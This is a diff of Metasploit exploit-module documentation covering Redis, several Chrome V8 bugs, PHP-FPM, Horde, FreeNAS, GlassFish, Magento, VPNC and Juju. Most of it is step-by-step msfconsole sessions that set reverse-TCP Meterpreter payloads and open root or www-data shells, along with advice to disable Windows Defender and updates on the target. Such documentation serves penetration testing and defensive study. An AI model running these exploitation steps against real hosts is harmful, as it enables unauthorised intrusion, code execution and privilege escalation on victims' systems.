Juju agent systems running agent tools prior to version 1.25.12, 2.0.x before 2.0.4, and 2.1.x before 2.1.3, provide a UNIX domain socket to manage software ("units") without setting appropriate permissions, allowing unprivileged local users to execute arbitrary commands as root.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
[Juju](https://juju.ubuntu.com/) is an open source application modeling tool designed for devops to deploy, configure, scale, and operate software on public and private clouds.
|
||||
|
||||
* Homepage: https://juju.ubuntu.com/
|
||||
@@ -21,7 +20,7 @@
|
||||
* Versions 1.18.1-trusty-amd64 and 1.25.6-trusty-amd64 on Ubuntu 14.04.1 LTS x86_64
|
||||
|
||||
|
||||
## Installation
|
||||
### Installation
|
||||
|
||||
Two systems are required. The first runs Juju and the second runs the Juju agent tools.
|
||||
|
||||
|
||||
@@ -1,4 +1,6 @@
|
||||
## Description
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits an injection vulnerability in the Network Manager
|
||||
VPNC plugin to gain *root* privileges.
|
||||
@@ -12,16 +14,12 @@
|
||||
|
||||
Network Manager VPNC versions prior to 1.2.6 are vulnerable.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully with VPNC versions:
|
||||
|
||||
* 1.2.4-4 on Debian 9.0.0 (x64); and
|
||||
* 1.1.93-1 on Ubuntu Linux 16.04.4 (x64).
|
||||
|
||||
|
||||
## Installation
|
||||
### Installation
|
||||
|
||||
The following installation instructions are for Ubuntu 16.04.04.
|
||||
|
||||
@@ -88,4 +86,3 @@
|
||||
Meterpreter : x86/linux
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
|
||||
+33
-26
@@ -1,40 +1,46 @@
|
||||
## Description
|
||||
|
||||
This module exploits an unauthenticated code execution vulnerability in Redis 4.x and 5.x
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module exploits a replication code execution vulnerability in Redis 4.x and later.
|
||||
|
||||
### Installation Setup.
|
||||
|
||||
**Vulnerable Application Link**
|
||||
|
||||
- Official Docker Images
|
||||
|
||||
https://hub.docker.com/_/redis/
|
||||
|
||||
## Vulnerable Application Installation Setup.
|
||||
### Installation Setup.
|
||||
|
||||
```
|
||||
docker pull redis
|
||||
docker run -p 6379:6379 -d --name redis_slave redis
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
## Options
|
||||
|
||||
- CUSTOM
|
||||
### CUSTOM
|
||||
|
||||
IF `CUSTOM` set to true, this exploit would generate a source code file, and compile it to a redis module file during running, which is more undetectable.
|
||||
IF `CUSTOM` set to true, this exploit would generate a source code file, and
|
||||
compile it to a redis module file during running, which is more undetectable.
|
||||
It's only worked on linux system.
|
||||
|
||||
For other scenarios, such as lack of gcc, or others opreate systems, framework could not compile the source for sucessful exploit, it uses the pre-compiled redis module to accomplish this exploit.
|
||||
For other scenarios, such as lack of gcc, or others opreate systems, framework
|
||||
could not compile the source for sucessful exploit, it uses the
|
||||
pre-compiled redis module to accomplish this exploit.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
## Scenarios
|
||||
|
||||
### set CUSTOM true (available only on linux)
|
||||
|
||||
```
|
||||
msf5 exploit(multi/redis/redis_unanth_rce) > options
|
||||
msf5 exploit(multi/redis/redis_replication_cmd_exec) > options
|
||||
|
||||
Module options (exploit/multi/redis/redis_unanth_rce):
|
||||
Module options (exploit/linux/redis/redis_replication_cmd_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
@@ -61,9 +67,9 @@ Exploit target:
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf5 exploit(multi/redis/redis_unanth_rce) > set verbose false
|
||||
msf5 exploit(multi/redis/redis_replication_cmd_exec) > set verbose false
|
||||
verbose => false
|
||||
msf5 exploit(multi/redis/redis_unanth_rce) > exploit
|
||||
msf5 exploit(multi/redis/redis_replication_cmd_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.17.0.1:8080
|
||||
[*] 127.0.0.1:6379 - Compile redis module extension file
|
||||
@@ -84,10 +90,10 @@ meterpreter >
|
||||
### Set CUSTOM false (available on all system)
|
||||
|
||||
```
|
||||
msf5 > use exploit/linux/redis/redis_unauth_exec
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > options
|
||||
msf5 > use exploit/linux/redis/redis_replication_cmd_exec
|
||||
msf5 exploit(linux/redis/redis_replication_cmd_exec) > options
|
||||
|
||||
Module options (exploit/linux/redis/redis_unauth_exec):
|
||||
Module options (exploit/linux/redis/redis_replication_cmd_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
@@ -114,19 +120,19 @@ Exploit target:
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > set rhosts 172.16.6.226
|
||||
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set rhosts 172.16.6.226
|
||||
rhosts => 172.16.6.226
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > set srvhost 172.16.6.1
|
||||
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set srvhost 172.16.6.1
|
||||
srvhost => 172.16.6.1
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > set srvport 6666
|
||||
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set srvport 6666
|
||||
srvport => 6666
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > set lhost 172.16.6.1
|
||||
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set lhost 172.16.6.1
|
||||
lhost => 172.16.6.1
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > set lport 9999
|
||||
msf5 exploit(linux/redis/redis_replication_cmd_exec) > set lport 9999
|
||||
lport => 9999
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > options
|
||||
msf5 exploit(linux/redis/redis_replication_cmd_exec) > options
|
||||
|
||||
Module options (exploit/linux/redis/redis_unauth_exec):
|
||||
Module options (exploit/linux/redis/redis_replication_cmd_exec):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
@@ -153,7 +159,7 @@ Exploit target:
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf5 exploit(linux/redis/redis_unauth_exec) > exploit
|
||||
msf5 exploit(linux/redis/redis_replication_cmd_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 172.16.6.1:9999
|
||||
[*] 172.16.6.226:6379 - Listening on 172.16.6.1:6666
|
||||
@@ -168,4 +174,5 @@ meterpreter > getuid
|
||||
Server username: uid=999, gid=999, euid=999, egid=999
|
||||
meterpreter > getpid
|
||||
Current pid: 173
|
||||
```
|
||||
```
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
This module exploits an issue in Chrome 73.0.3683.86 (64 bit). The exploit corrupts the length of a float in order to modify the backing store of a typed array. The typed array can then be used to read and write arbitrary memory.
|
||||
The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload.
|
||||
|
||||
**The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly.**
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The module is compatible with any 64bit Google Chrome (version 72 or 73), on any platform (macOS, Linux or Windows), however the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
You can download a vulnerable Chrome version from this location:
|
||||
[https://www.filepuma.com/download/google_chrome_64bit_73.0.3683.86-21785/](https://www.filepuma.com/download/google_chrome_64bit_73.0.3683.86-21785/)
|
||||
|
||||
You should ensure that application does not update itself to the latest version (by disabling automatic updates or simply not connecting to the internet).
|
||||
You may also need to disable Windows Defender.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/multi/browser/chrome_array_map```
|
||||
2. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
|
||||
2. Do: ```set LHOST [IP]```
|
||||
3. Do: ```set SRVHOST [IP]```
|
||||
3. Do: ```set URIPATH / [PATH]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10 and Google Chrome 73.0.3683.86 with --no-sandbox
|
||||
|
||||
Start Google Chrome without a sandbox:
|
||||
```"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox```
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/browser/chrome_array_map
|
||||
msf5 exploit(multi/browser/chrome_array_map) > set SRVHOST 192.168.56.1
|
||||
SRVHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_array_map) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf5 exploit(multi/browser/chrome_array_map) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/browser/chrome_array_map) > set LHOST 192.168.56.1
|
||||
LHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_array_map) > run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/browser/chrome_array_map) >
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Using URL: http://192.168.56.1:8080/
|
||||
[*] Server started.
|
||||
[*] 192.168.56.3 chrome_array_map - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
|
||||
[*] Sending stage (206403 bytes) to 192.168.56.3
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49675) at 2020-02-29 15:07:06 +0800
|
||||
|
||||
msf5 exploit(multi/browser/chrome_array_map) > sessions 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > pwd
|
||||
C:\Program Files (x86)\Google\Chrome\Application\73.0.3683.86
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,65 @@
|
||||
This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit corrupts the length of a float array (float_rel), which can then be used for out of bounds read and write on adjacent memory.
|
||||
The relative read and write is then used to modify a UInt64Array (uint64_aarw) which is used for read and writing from absolute memory.
|
||||
The exploit then uses WebAssembly in order to allocate a region of RWX memory, which is then replaced with the payload shellcode.
|
||||
|
||||
**The payload is executed within the sandboxed renderer process, so the browser must be run with the --no-sandbox option for the payload to work correctly.**
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The module is compatible with any 64bit Google Chrome (version 80), on any platform (macOS, Linux or Windows), however the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified for different versions.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
You can download a vulnerable Chrome version from this location:
|
||||
[https://www.filepuma.com/download/google_chrome_64bit_80.0.3987.87-24545/](https://www.filepuma.com/download/google_chrome_64bit_80.0.3987.87-24545/)
|
||||
|
||||
You should ensure that application does not update itself to the latest version (by disabling automatic updates or simply not connecting to the internet).
|
||||
You may also need to disable Windows Defender.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/multi/browser/chrome_jscreate_sideeffect```
|
||||
2. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
|
||||
2. Do: ```set LHOST [IP]```
|
||||
3. Do: ```set SRVHOST [IP]```
|
||||
3. Do: ```set URIPATH / [PATH]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10 and Google Chrome 80.0.3987.87 with --no-sandbox
|
||||
|
||||
Start Google Chrome without a sandbox:
|
||||
|
||||
```"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox```
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/browser/chrome_jscreate_sideeffect
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set SRVHOST 192.168.56.1
|
||||
SRVHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > set LHOST 192.168.56.1
|
||||
LHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > exploit
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) >
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Using URL: http://192.168.56.1:8080/
|
||||
[*] Server started.
|
||||
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) >
|
||||
[*] 192.168.56.3 chrome_jscreate_sideeffect - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36
|
||||
[*] Sending stage (206403 bytes) to 192.168.56.3
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49677) at 2020-03-04 21:22:38 +0800
|
||||
|
||||
msf5 exploit(multi/browser/chrome_jscreate_sideeffect) > sessions 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > pwd
|
||||
C:\Program Files (x86)\Google\Chrome\Application\80.0.3987.87
|
||||
meterpreter >
|
||||
```
|
||||
@@ -0,0 +1,61 @@
|
||||
This modules exploits a type confusion in Google Chromes JIT compiler. The Object.create operation can be used to cause a type confusion between a PropertyArray and a NameDictionary.
|
||||
The type confusion can be used to construct a arbitrary read/write memory primitive, which is used to write shellcode into rwx region of a WebAssembly object.
|
||||
|
||||
**This module does not contain an exploit to escape the sandbox, so you must launch Google Chrome with the --no-sandbox option**
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The module is compatible with any 64bit Google Chrome (version 67, 68 or 69), on any platform (macOS, Linux or Windows), however the code that writes the shellcode into the rwx region (wasm_rwx_addr) may need to be modified.
|
||||
|
||||
**Vulnerable Application Installation Steps**
|
||||
|
||||
You can download a vulnerable Chrome version from this location:
|
||||
[https://www.filepuma.com/download/google_chrome_64bit_69.0.3497.100-20128/](https://www.filepuma.com/download/google_chrome_64bit_69.0.3497.100-20128/)
|
||||
|
||||
You should ensure that application does not update itself to the latest version (by disabling automatic updates or simply not connecting to the internet).
|
||||
You may also need to disable Windows Defender.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Do: ```use exploit/multi/browser/chrome_object_create```
|
||||
2. Do: ```set payload windows/x64/meterpreter/reverse_tcp```
|
||||
2. Do: ```set LHOST [IP]```
|
||||
3. Do: ```set SRVHOST [IP]```
|
||||
3. Do: ```set URIPATH / [PATH]```
|
||||
4. Do: ```run```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 10 and Google Chrome 69.0.3497.100 with --no-sandbox
|
||||
|
||||
Start Google Chrome without a sandbox:
|
||||
```"C:\Program Files (x86)\Google\Chrome\Application\chrome.exe" --no-sandbox```
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/browser/chrome_object_create
|
||||
msf5 exploit(multi/browser/chrome_object_create) > set SRVHOST 192.168.56.1
|
||||
SRVHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_object_create) > set URIPATH /
|
||||
URIPATH => /
|
||||
msf5 exploit(multi/browser/chrome_object_create) > set payload windows/x64/meterpreter/reverse_tcp
|
||||
payload => windows/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/browser/chrome_object_create) > set LHOST 192.168.56.1
|
||||
LHOST => 192.168.56.1
|
||||
msf5 exploit(multi/browser/chrome_object_create) > run
|
||||
[*] Exploit running as background job 0.
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/browser/chrome_object_create) >
|
||||
[*] Started reverse TCP handler on 192.168.56.1:4444
|
||||
[*] Using URL: http://192.168.56.1:8080/
|
||||
[*] Server started.
|
||||
[*] 192.168.56.3 chrome_object_create - Sending / to Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
|
||||
[*] Sending stage (206403 bytes) to 192.168.56.3
|
||||
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.3:49682) at 2020-02-29 14:29:06 +0800
|
||||
|
||||
msf5 exploit(multi/browser/chrome_object_create) > sessions 1
|
||||
[*] Starting interaction with 1...
|
||||
|
||||
meterpreter > pwd
|
||||
C:\Program Files (x86)\Google\Chrome\Application\69.0.3497.100
|
||||
meterpreter >
|
||||
```
|
||||
@@ -1,14 +1,14 @@
|
||||
## Description
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
A malicious file can be uploaded by an unauthenticated attacker through the `actions/beats_uploader.php` script.
|
||||
ClipBucket < 4.0.0 - Release 4902 is vulnerable. Additional information and vulnerabilities can be viewed on
|
||||
Exploit-DB [44250](https://www.exploit-db.com/exploits/44250/)
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
Available at [Exploit-DB](https://www.exploit-db.com/apps/60cd1ff56ac93dd35c5e3c4e3537f53c-clipbucket-4881.zip)
|
||||
|
||||
## Vulnerable Application Installation
|
||||
### Installation
|
||||
|
||||
Download Application: ```wget https://www.exploit-db.com/apps/60cd1ff56ac93dd35c5e3c4e3537f53c-clipbucket-4881.zip```
|
||||
|
||||
|
||||
@@ -0,0 +1,31 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module exploits an arbitrary command execution flaw
|
||||
in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
|
||||
to the exec_raw.php page, an attacker may be able to execute arbitrary commands.
|
||||
|
||||
NOTE: This module works best with php/meterpreter payloads.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/multi/http/freenas_exec_raw```
|
||||
4. Do: ```set rhost [ip]```
|
||||
5. Do: ```run```
|
||||
6. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Unknown
|
||||
|
||||
```
|
||||
meterpreter > sysinfo
|
||||
Computer: freenas.local
|
||||
OS : FreeBSD freenas.local 7.3-RELEASE-p2 FreeBSD 7.3-RELEASE-p2 #0: Sat Jul 31 12:22:04 CEST 2010 root@dev.freenas.org:/usr/obj/freenas/usr/src/sys/FREENAS-i386 i386
|
||||
meterpreter > getuid
|
||||
Server username: root (0)
|
||||
meterpreter >
|
||||
```
|
||||
@@ -1,12 +1,14 @@
|
||||
## Description
|
||||
## Vulnerable Application
|
||||
|
||||
### Description
|
||||
|
||||
This module logs in to a GlassFish Server (Open Source or Commercial) using various methods (such as authentication bypass, default credentials, or user-supplied login), and deploys a malicious war file in order to get remote code execution. It has been tested on Glassfish 2.x, 3.0, 4.0 and Sun Java System Application Server 9.x. Newer GlassFish versions do not allow remote access (Secure Admin) by default, but is required for exploitation.
|
||||
|
||||
## GlassFish
|
||||
### GlassFish
|
||||
|
||||
GlassFish is a open-source application server project started by Sun Microsystems for the Java EE platform and now sponsored by Oracle Corporation. The supported version is called Oracle GlassFish Server. GlassFish is free software, dual-licensed under two free software licences: the Common Development and Distribution License (CDDL) and the GNU General Public License (GPL) with the classpath exception.
|
||||
|
||||
## Installation
|
||||
### Installation
|
||||
|
||||
For testing purposes, the following explains how you can install a vulnerable version of GlassFish on Ubuntu Linux:
|
||||
|
||||
@@ -36,6 +38,8 @@ If you are on a different platform (such as Windows), the installation should be
|
||||
|
||||
## Scenarios
|
||||
|
||||
### GlassFish 3.0.1 on Windows 2003
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/glassfish_deployer
|
||||
msf exploit(glassfish_deployer) > set RHOST 172.16.182.237
|
||||
|
||||
@@ -0,0 +1,51 @@
|
||||
## Vulnerable Application
|
||||
|
||||
The Horde project comprises several standalone applications and libraries, the [Horde Groupware Webmail Edition suite](https://www.horde.org/apps/webmail) (tested version 5.2.22) bundles several of them by default, among those, Data ([Horde Data API](https://github.com/horde/Data)) is a library used to manage data import/export in several formats, e.g., CSV, iCalendar, vCard, etc. This library up to version 2.1.4 (included) is vulnerable to PHP code injection.
|
||||
|
||||
Find more information in the [original advisory](https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/).
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Install the application (see below)
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/multi/http/horde_csv_rce```
|
||||
4. Do: ```set payload php/meterpreter/reverse_tcp```
|
||||
5. Do: ```set lhost [ATTACKER IP]```
|
||||
6. Do: ```set rhost [TARGET IP]```
|
||||
7. Do: ```set username [username]```
|
||||
8. Do: ```set password [password]```
|
||||
9. Do: ```exploit```
|
||||
10. A session should open
|
||||
|
||||
Downgrade the Horde Data API package if needed:
|
||||
|
||||
```
|
||||
pear uninstall --ignore-errors horde/horde_data-2.1.5
|
||||
pear install --ignore-errors horde/horde_data-2.1.4
|
||||
```
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Horde Groupware Webmail Edition 5.2.22 with Horde Data API 2.1.4 on Debian GNU/Linux 9
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/horde_csv_rce
|
||||
msf5 exploit(multi/http/horde_csv_rce) > set payload php/meterpreter/reverse_tcp
|
||||
payload => php/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/http/horde_csv_rce) > set lhost 192.168.1.69
|
||||
lhost => 192.168.1.69
|
||||
msf5 exploit(multi/http/horde_csv_rce) > set rhost 192.168.1.69
|
||||
rhost => 192.168.1.69
|
||||
msf5 exploit(multi/http/horde_csv_rce) > set username alice
|
||||
username => alice
|
||||
msf5 exploit(multi/http/horde_csv_rce) > set password alice
|
||||
password => alice
|
||||
msf5 exploit(multi/http/horde_csv_rce) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 0.0.0.0:4444
|
||||
[*] Sending stage (38288 bytes) to 172.17.0.1
|
||||
[*] Meterpreter session 1 opened (172.17.0.2:4444 -> 172.17.0.1:44524) at 2020-03-14 14:55:17 +0000
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: www-data (33)
|
||||
```
|
||||
@@ -10,15 +10,13 @@
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Example steps in this format:
|
||||
|
||||
1. Install the application
|
||||
1. Start msfconsole
|
||||
1. Do: ```use exploit/multi/http/jenkins_script_console```
|
||||
1. Do: ```set RHOST [target host]```
|
||||
1. Do: ```set TARGET [target id]```
|
||||
1. Do: ```exploit```
|
||||
1. You should get a shell.
|
||||
2. Start msfconsole
|
||||
3. Do: ```use exploit/multi/http/jenkins_script_console```
|
||||
4. Do: ```set RHOST [target host]```
|
||||
5. Do: ```set TARGET [target id]```
|
||||
6. Do: ```exploit```
|
||||
7. You should get a shell.
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
@@ -7,9 +7,10 @@ code execution.
|
||||
Magento Community and Enterprise editions before 2.0.6 are affected. The magento_unserialize module
|
||||
was specifically tested against version 2.0.6, on Ubuntu 14.04 and Debian.
|
||||
|
||||
For testing purposes, you can download the vulnerable applications [here](https://www.exploit-db.com/apps/d34a83e80f927d7336cc8ef37a9867f4-magento2-2.0.5.tar.gz).
|
||||
For testing purposes, you can download the vulnerable
|
||||
applications [here](https://www.exploit-db.com/apps/d34a83e80f927d7336cc8ef37a9867f4-magento2-2.0.5.tar.gz).
|
||||
|
||||
## Verification Steps
|
||||
### Install
|
||||
|
||||
To set up a vulnerable version of Magento, please follow these steps. This is specific to
|
||||
Ubuntu 14, and assumes you are installing Magento under /var/www/html/.
|
||||
@@ -75,8 +76,7 @@ If at some point the IP (base URL) of Magento has changed, then you will need to
|
||||
8. Also do: ```sudo rm -rf var/page_cache/*```
|
||||
9. Browse to Magento again with the new IP, it should be up and running again.
|
||||
|
||||
|
||||
After setting up Magento, you can use your exploit module:
|
||||
## Verification Steps
|
||||
|
||||
1. Start msfconsole
|
||||
2. Do: ```exploit/multi/http/magento_unserialize```
|
||||
@@ -86,6 +86,8 @@ After setting up Magento, you can use your exploit module:
|
||||
6. Do: ```exploit```
|
||||
7. And you should get a session
|
||||
|
||||
## Options
|
||||
|
||||
## Scenarios
|
||||
|
||||
```
|
||||
|
||||
@@ -0,0 +1,170 @@
|
||||
This module exploits an underflow vulnerability in versions 7.1.x below 7.1.33,
|
||||
7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on Nginx. Only servers
|
||||
with certains Nginx + PHP-FPM configurations are exploitable. This is a port of
|
||||
the original neex's exploit code (see refs.). First, it detects the correct
|
||||
parameters (Query String Length and custom header length) needed to trigger
|
||||
code execution. This step determines if the target is actually vulnerable
|
||||
(Check method). Then, the exploit sets a series of PHP INI directives to create
|
||||
a file (`/tmp/a`) locally on the target, which enables code execution through a
|
||||
query string parameter (`?a=<cmd>`). This is used to execute normal payload
|
||||
stagers. Finally, this module does some cleanup by killing local PHP-FPM
|
||||
workers (those are spawned automatically once killed) and removing the created
|
||||
local file (`/tmp/a`).
|
||||
|
||||
## Vulnerable Application
|
||||
- Install Nginx on Linux (`apt-get install nginx`)
|
||||
- get the vulnerable PHP:
|
||||
|
||||
```
|
||||
git clone https://github.com/php/php-src
|
||||
# checkout the fix
|
||||
git -C php-src checkout ab061f95ca966731b1c84cf5b7b20155c0a1c06a
|
||||
# checkout the commit previous to the fix
|
||||
git -C php-src checkout HEAD~1
|
||||
```
|
||||
|
||||
- make sure the default Nginx configuration contains these entries and no
|
||||
script existence checks (like `try_files`):
|
||||
|
||||
```
|
||||
location ~ [^/]\.php(/|$) {
|
||||
...
|
||||
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
|
||||
fastcgi_param PATH_INFO $fastcgi_path_info;
|
||||
fastcgi_pass php:9000;
|
||||
...
|
||||
}
|
||||
```
|
||||
|
||||
See original PoC for details: https://github.com/neex/phuip-fpizdam
|
||||
|
||||
An easiest way to setup a vulnerable instance is to use the docker
|
||||
configuration provided by the author
|
||||
(https://github.com/neex/phuip-fpizdam/tree/master/reproducer)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Preparing the target:
|
||||
|
||||
1. `git clone https://github.com/neex/phuip-fpizdam`
|
||||
2. `cd phuip-fpizdam/reproducer/`
|
||||
3. `docker build -t reproduce-cve-2019-11043 .`
|
||||
4. `docker run --rm -p 192.168.6.6:8080:80 --name reproduce-cve-2019-11043 reproduce-cve-2019-11043`
|
||||
|
||||
Running the exploit:
|
||||
|
||||
1. `./msfconsole`
|
||||
2. `use exploit/multi/http/php_fpm_rce`
|
||||
4. `set RHOSTS 192.168.6.6`
|
||||
5. `set RPORT 8080`
|
||||
4. `set TARGETURI /script.php`
|
||||
6. `set PAYLOAD php/meterpreter/reverse_tcp`
|
||||
7. `set LHOST 192.168.6.6`
|
||||
8. `run`
|
||||
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
Path to a PHP page (`/index.php` by default). This must be a valid page.
|
||||
|
||||
## Advanced Options
|
||||
|
||||
**MinQSL**
|
||||
Minimum query string length (QSL). The QSL detection engine will iterate
|
||||
starting from this value (1500 by default). This option is required.
|
||||
|
||||
**MaxQSL**
|
||||
Maximum query string length (QSL). The QSL detection engine will iterate
|
||||
until this value is reached (1950 by default). This option is required.
|
||||
|
||||
**QSLHint**
|
||||
Query string length hint. This value will be used as a QSL candidate. Note
|
||||
that setting this value skips the QSL detection.
|
||||
|
||||
**QSLDetectStep**
|
||||
Query string length detect step. The QSL detection engine will iterate with
|
||||
this step value (5 by default). This option is required.
|
||||
|
||||
**MaxQSLCandidates**
|
||||
Maximum query string length candidates. When the number of QSL candidates
|
||||
found during the QSL detection phase is greater than this value (10 by
|
||||
default), this indicates that something went wrong and we were not able to
|
||||
detect the correct values. This option is required.
|
||||
|
||||
**MaxQSLDetectDelta**
|
||||
Maximum query string length detection delta. This value is the maximum
|
||||
distance between the candidate and the extended values (10 by default). For
|
||||
example, with a value of 20 and QSLDetectStep set to 5, candidate [1700] will
|
||||
be extended to [1680, 1685, 1690, 1695, 1700]. This option is required.
|
||||
|
||||
**MaxCustomHeaderLength**
|
||||
Maximum custom header length. This value is the maximum length that will be
|
||||
used for the custom header during the parameters detection (256 by default).
|
||||
This option is required.
|
||||
|
||||
**CustomHeaderLengthHint**
|
||||
Custom header length hint. This value will be used as the custom header
|
||||
length. Note that setting this value skips the custom header length
|
||||
detection.
|
||||
|
||||
**DetectMethod**
|
||||
Method that will be used to detect if the target is vulnerable. Available
|
||||
methods:
|
||||
|
||||
1. `session.auto_start`: this method consist in setting the
|
||||
`session.auto_start` PHP option to 1. If the response contains `PHPSESSID=`
|
||||
set-cookie value, this means the PHP option has been correctly set and the
|
||||
target is vulnerable.
|
||||
2. `output_handler.md5`: this method consist in setting the `output_handler`
|
||||
PHP option to `md5`. If the response is a md5 hash (16 characters), this
|
||||
means the PHP option has been correctly set and the target is vulnerable.
|
||||
|
||||
**OperationMaxRetries**
|
||||
Maximum of operation retries. Each operation will be repeated at most
|
||||
`OperationMaxRetries` times.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Ubuntu 18.04 + nginx 1.14.0 + PHP 7.1.33dev (fpm-fcgi) (built: Feb 14 2020 16:48:15)
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/php_fpm_rce
|
||||
msf5 exploit(multi/http/php_fpm_rce) > set RHOSTS 192.168.6.6
|
||||
RHOSTS => 192.168.6.6
|
||||
